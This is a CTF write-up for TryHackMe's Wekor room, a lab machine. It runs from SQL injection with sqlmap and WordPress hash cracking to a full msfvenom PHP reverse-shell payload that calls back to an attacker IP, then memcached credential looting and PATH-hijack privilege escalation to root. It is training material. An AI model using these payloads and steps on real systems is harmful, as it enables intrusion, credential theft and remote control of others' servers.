Wekor - Write-up - TryHackMe

Information

Room#

  • Name: Wekor
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: CTF challenge involving Sqli , WordPress , vhost enumeration and recognizing internal services ;)

Wekor

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap sqlmap ffuf haiti metasploit john

Network enumeration#

Let's add a custom domain:

1
2
$ grep wekor /etc/hosts
10.10.129.101 wekor.thm

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Nmap 7.93 scan initiated Thu Nov 24 22:26:41 2022 as: nmap -sSVC -T4 -v -oA scans/nmap/wekor.thm -p- wekor.thm
Nmap scan report for wekor.thm (10.10.129.101)
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 95c3ceaf07fae28e2904e4cd146a21b5 (RSA)
| 256 4d99b568afbb4e66ce7270e6e3f896a4 (ECDSA)
|_ 256 0de57de81a12c0ddb7665e98345559f6 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 9 disallowed entries
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot
|_/comingreallysoon /interesting
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 24 22:27:13 2022 -- 1 IP address (1 host up) scanned in 31.36 seconds

Web discovery#

There is a robots.txt file with uncommon paths: http://wekor.thm/robots.txt

1
2
3
4
5
6
7
8
9
10
User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting

All paths give 404 except /comingreallysoon/.

Welcome Dear Client!

We've setup our latest website on /it-next, Please go check it out!

If you have any comments or suggestions, please tweet them to @faketwitteraccount!

Thanks a lot !

A demo website is available at http://wekor.thm/it-next/

Web exploitation - SQL injection#

On the cart page (http://wekor.thm/it-next/it_cart.php), there is a SQLi on the coupon field.

Just put a quote and you'll get this issue:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

We could exploit it manually, error based is easy but sqlmap will be faster.

req.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /it-next/it_cart.php HTTP/1.1
Host: wekor.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://wekor.thm
Connection: close
Referer: http://wekor.thm/it-next/it_cart.php
Upgrade-Insecure-Requests: 1

coupon_code=A&apply_coupon=Apply+Coupon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt --dbs
...
available databases [6]:
[*] coupons
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress --tables
...
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress -T wp_users --columns
...
Database: wordpress
Table: wp_users
[10 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| display_name | varchar(250) |
| ID | bigint(20) unsigned |
| user_activation_key | varchar(255) |
| user_email | varchar(100) |
| user_login | varchar(60) |
| user_nicename | varchar(50) |
| user_pass | varchar(255) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
+---------------------+---------------------+

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress -T wp_users -C user_login,user_pass --dump
...
Database: wordpress
Table: wp_users
[4 entries]
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_jeffrey | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_yura | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_eagle | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
+------------+------------------------------------+

Web enumeration - Virtual server#

If there is a wordpress, there must be a Wordpress installed elsewhere. Let's enumerate virtual hosts.

1
2
3
$ ffuf -u 'http://wekor.thm/' -H 'Host: FUZZ.wekor.thm' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fc 404 -fs 23
...
site [Status: 200, Size: 143, Words: 27, Lines: 6, Duration: 24ms]

Let's add it in our host file.

1
2
$ grep wekor /etc/hosts
10.10.129.101 wekor.thm site.wekor.thm

Here is the message at http://site.wekor.thm/:

Hi there!

Nothing here for now, but there should be an amazing website here in about 2 weeks, SO DON'T FORGET TO COME BACK IN 2 WEEKS!

  • Jim

Let's find a some paths:

1
2
3
4
$ ffuf -u 'http://site.wekor.thm/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fc 404 -fs 23
...
wordpress [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 30ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 29ms]

We found the wordpress: http://site.wekor.thm/wordpress/

Hash cracking#

Let's use haiti to identify the hash type.

Now let's crack them.

hashs.txt

1
2
3
4
admin:$P$BEDITED
wp_jeffrey:$P$BEDITED
wp_yura:$P$BEDITED
wp_eagle:$P$BEDITED
1
2
3
4
$ haiti '$P$BEDITED'
Wordpress ≥ v2.6.2 [HC: 400] [JtR: phpass]
Joomla ≥ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]
1
2
3
4
5
$ john hashs.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=phpass
...
EDITED (wp_jeffrey)
EDITED (wp_eagle)
EDITED (wp_yura)

The login page is at http://site.wekor.thm/wordpress/wp-login.php

We were not able to crack the admin password hash but by connecting to each account we can see wp_yura is also a wordpress admin.

Web exploitation - RCE#

With a wordpress admin account we could manually upload a PHP webshell or reverse shell in the theme editor but it will be faster to use MSF instead (note the exploit will try to upload a plugin instead).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
msf6 exploit(unix/webapp/wp_admin_shell_upload) > info

Name: WordPress Admin Shell Upload
Module: exploit/unix/webapp/wp_admin_shell_upload
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-02-21

Provided by:
rastating

Available targets:
Id Name
-- ----
0 WordPress

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD EDITED yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.96.236 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /wordpress/ yes The base path to the wordpress application
USERNAME wp_yura yes The WordPress username to authenticate with
VHOST site.wekor.thm no HTTP server virtual host

Payload information:

Description:
This module will generate a plugin, pack the payload into it and
upload it to a server running WordPress provided valid admin
credentials are used.

In my case, it didn't work, the plugin was uploaded but wasn't activated.

1
2
3
4
5
6
7
8
9
10
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 10.18.25.199:4444
[*] Authenticating with WordPress using wp_yura:soccer13...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[-] Failed to acquire the plugin upload nonce
[-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.

So instead I started a handler with the same configuration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target

But because MSF aborted before the end, the uploaded plugin is just a void skeleton.

1
2
3
4
5
6
7
8
9
<?php
/**
* Plugin Name: stiYkxDMFj
* Version: 9.1.30
* Author: GFgIbQUrGj
* Author URI: http://BpiljsYnyL.com
* License: GPL2
*/
?>

So I'll have to generate a PHP reverse shell myself and edit the plugin.

1
2
3
4
5
6
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.18.25.199 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1113 bytes
/*<?php /**/ error_reporting(0); $ip = '10.18.25.199'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

After editing, activate it and receive the reverse shell.

1
2
3
4
5
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.18.25.199:4444
[*] Sending stage (39927 bytes) to 10.10.96.236
[*] Meterpreter session 1 opened (10.18.25.199:4444 -> 10.10.96.236:51206) at 2022-11-27 16:55:13 +0100

System exploitation - Finding a way to EoP#

Let's get some basic info:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : osboxes
OS : Linux osboxes 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:18:45 UTC 2021 i686
Meterpreter : php/linux
meterpreter > cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

There is a user Orka but wa can't read the files (.bash_history or user.txt) in its home directory.

So we'll probably have to loot info elsewhere or exploit a service.

By listing processes, we can see there are tons of apache workers, a DE must be installed since there is Xorg and a DM (lightdm) running. But the promisign services for us are the following:

1
2
3
4
5
6
7
8
9
10
11
meterpreter > ps

Process List
============

PID Name User Path
--- ---- ---- ----
....
697 /usr/sbin/cron root /usr/sbin/cron -f
968 /usr/bin/python root /usr/bin/python /root/server.py
969 /usr/bin/memcached memcache /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1

Since it's not real life but a challenge, we brobably have to target memcache first, gain Orka user access then root.

Start a shell and upgrade to a partial TTY.

1
2
3
4
5
meterpreter > shell
Process 1996 created.
Channel 2 created.
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$

Elevation of privilege (EoP) - from www-data to Orka#

Then we can conbnect to the memcache server and enumerate info.

1
2
3
4
5
6
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ telnet localhost 11211
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
version
VERSION 1.4.25 Ubuntu

There is 1 slab, let's dump it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
stats slabs
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
STAT 1:total_pages 1
STAT 1:total_chunks 13107
STAT 1:used_chunks 5
STAT 1:free_chunks 13102
STAT 1:free_chunks_end 0
STAT 1:mem_requested 321
STAT 1:get_hits 0
STAT 1:cmd_set 105
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048560

stats cachedump 1 0
ITEM id [4 b; 1669561972 s]
ITEM email [14 b; 1669561972 s]
ITEM salary [8 b; 1669561972 s]
ITEM password [15 b; 1669561972 s]
ITEM username [4 b; 1669561972 s]

get id
VALUE id 0 4
3476
END

get email
VALUE email 0 14
Orka@wekor.thm
END

get username
VALUE username 0 4
Orka
END

get password
VALUE password 0 15
EDITED
END

So connect as Orka:

1
2
3
4
5
6
7
quit
Connection closed by foreign host.
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ su Orka
Password:
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ cd
Orka@osboxes:~$ id
uid=1001(Orka) gid=1001(Orka) groups=1001(Orka)

Elevation of privilege (EoP) - from www-data to root#

At least the way of EoP is straightforward.

1
2
3
4
5
6
7
8
9
Orka@osboxes:~$ sudo -l
[sudo] password for Orka:

Matching Defaults entries for Orka on osboxes:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
(root) /home/Orka/Desktop/bitcoin

It's a executable we can execute or read but not write.

1
2
3
4
5
Orka@osboxes:~$ ls -lh /home/Orka/Desktop/bitcoin
-rwxr-xr-x 1 root root 7.6K Jan 23 2021 /home/Orka/Desktop/bitcoin

Orka@osboxes:~$ file /home/Orka/Desktop/bitcoin
/home/Orka/Desktop/bitcoin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8280915d0ebb7225ed63f226c15cee11ce960b6b, not stripped

The program is asking for a password and reflect the user input. Also it seems vulnerable to a buffer overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : x
x
Access Denied...

Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : %s
%s
Access Denied...

Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Access Denied...
Segmentation fault (core dumped)

By running strings we get the password that is password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Orka@osboxes:~$ strings -d -n 6 /home/Orka/Desktop/bitcoin
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
sprintf
__isoc99_scanf
__stack_chk_fail
__ctype_b_loc
system
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.3
GLIBC_2.7
GLIBC_2.4
GLIBC_2.0
Enter the password :
password
Access Denied...
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins :
Sorry, This is not a valid amount!
python /home/Orka/Desktop/transfer.py %c
;*2$",
1
2
3
4
5
6
7
8
9
10
11
12
13
Orka@osboxes:~/Desktop$ ./bitcoin
Enter the password : password
password
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 5
Saving 5 BitCoin(s) For Later Use
Do you want to make a transfer? Y/N : Y
Transfering 5 BitCoin(s)
Transfer Completed Successfully...

Also we can see the program calls /home/Orka/Desktop/transfer.py at some point.

1
2
Orka@osboxes:~$ ls -lh /home/Orka/Desktop/transfer.py
-rwxr--r-- 1 root root 588 Jan 23 2021 /home/Orka/Desktop/transfer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import socket
import sys
import os

result = sys.argv[1]

print "Saving " + result + " BitCoin(s) For Later Use "

test = raw_input("Do you want to make a transfer? Y/N : ")

if test == "Y":
try:
print "Transfering " + result + " BitCoin(s) "
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(("127.0.0.1",3010))
s.send("Transfer : " + result + "To https://transfer.bitcoins.com")
time.sleep(2.5)
print ("Transfer Completed Successfully...")
time.sleep(1)
s.close()
except:
print("Error!")
else:
print("Quitting...")
time.sleep(1)

Listening on 127.0.0.1:3010 won't help us.

But what we can notice in python /home/Orka/Desktop/transfer.py %c is that transfer.py is called from an absolute path but python is not.

We also have wrtie access to /usr/sbin which takes precedence over /usr/bin.

1
2
3
4
5
6
Orka@osboxes:~/Desktop$ which python
/usr/bin/python
Orka@osboxes:~/Desktop$ ls -lh /usr/ | grep sbin
drwxrwxr-x 2 root Orka 12K Jan 23 2021 sbin
Orka@osboxes:~/Desktop$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

So we could hijack the relative path.

In some other context we could store our malicious python anywhere and not necessary in /usr/sbin, write anywhere (in /tmp, /dev/shm, /home/Orka, etc.), change our PATH and pass our PATH to sudo.

1
2
3
4
5
6
$ hackdir=$(mktemp -d)
$ echo '#!/bin/bash' > "$hackdir/python"
$ echo '/bin/bash' >> "$hackdir/python"
$ export PATH=$hackdir:$PATH
$ sudo -u root -E /home/Orka/Desktop/bitcoin
sudo: sorry, you are not allowed to preserve the environment

But here we can't since there is an env_reset and secure_path.

env_reset was exploitable until sudo 1.8.5 but we have a patched version.

1
2
3
4
5
Orka@osboxes:~/Desktop$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

So no way to bypass it, we have to use the intended write to /usr/sbin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cp "$hackdir/python" /usr/sbin/
$ chmod +x /usr/sbin/python
$ sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 5
root@osboxes:~/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:~# cat /root/root.txt
EDITED
Share